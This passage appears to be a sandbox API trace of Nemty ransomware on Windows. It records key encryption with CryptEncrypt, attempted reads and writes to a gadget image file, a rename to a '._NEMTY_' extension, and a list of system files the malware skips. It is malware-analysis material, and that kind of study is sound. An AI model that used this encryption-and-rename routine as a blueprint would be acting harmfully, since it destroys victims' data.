CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0166.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 28 [0166.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0166.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0166.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 28 [0166.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0166.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0166.076] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 28 [0166.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0166.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full.png", cchWideChar=28, lpMultiByteStr=0x4f9ed08, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full.png", lpUsedDefaultChar=0x0) returned 28 [0166.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0166.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0166.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0166.077] Sleep (dwMilliseconds=0x5) [0166.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16a51450, dwHighDateTime=0x1d561e8)) [0166.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16a51450, dwHighDateTime=0x1d561e8)) [0166.091] GetLastError () returned 0x5 [0166.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.091] GetLastError () returned 0x5 [0166.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0166.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.091] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.091] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0166.091] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="EmH88IemNuZ4r8ZbEcS6Lilvui1pCsgbEFKkrVgD7BCLJg47nFbluChsGrGPC4v0\r\nxWRoFEkDKFiy+qwAOjZ9/bGZzZXlHNAXTBfGbHV73qKJ8U0gGTDu8T41selFj/7h\r\nFcWely339mYGXXeQCf3mRwZbB3c25ICAtdCEwcorJ7D/B4im/PLg723/mFusEd9r\r\n6A9d1jgQZ2J7gqUMFittRrs/xFYrqvLSJQxn8vX3skS5SOtQ5wy5mBgQQbvbYM33\r\nIFcB5Tmtv754gK2K6gdgc+8cRDh0cwKyK6ZaEpUMC6T12aYUvCHKBvtKSu1293Nu\r\nral6gxxbG0i4U1WsKs4DxA==\r\n", pcchString=0x653e91c) returned 1 [0166.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0166.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0166.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0166.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.092] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.092] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.176] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.176] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.176] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.195] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.195] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.195] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.218] CloseHandle (hObject=0xffffffff) returned 0 [0166.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403d0 [0166.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0166.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0166.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0166.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0166.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0166.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0166.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0166.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-full.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-full.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-full.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-full.png._nemty_kgobjgd_")) returned 0 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.219] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x65e9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2=".") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="..") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="...") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="windows") returned -1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="rsa") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="ntldr") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="bootmgr") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="programdata") returned 1 [0166.219] lstrcmpiW (lpString1="undocked_black_moon-full_partly-cloudy.png", lpString2="appdata") returned 1 [0166.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340198 [0166.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x6345608, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 42 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340200 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x6345608, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 42 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0166.220] RtlAllocateHeap 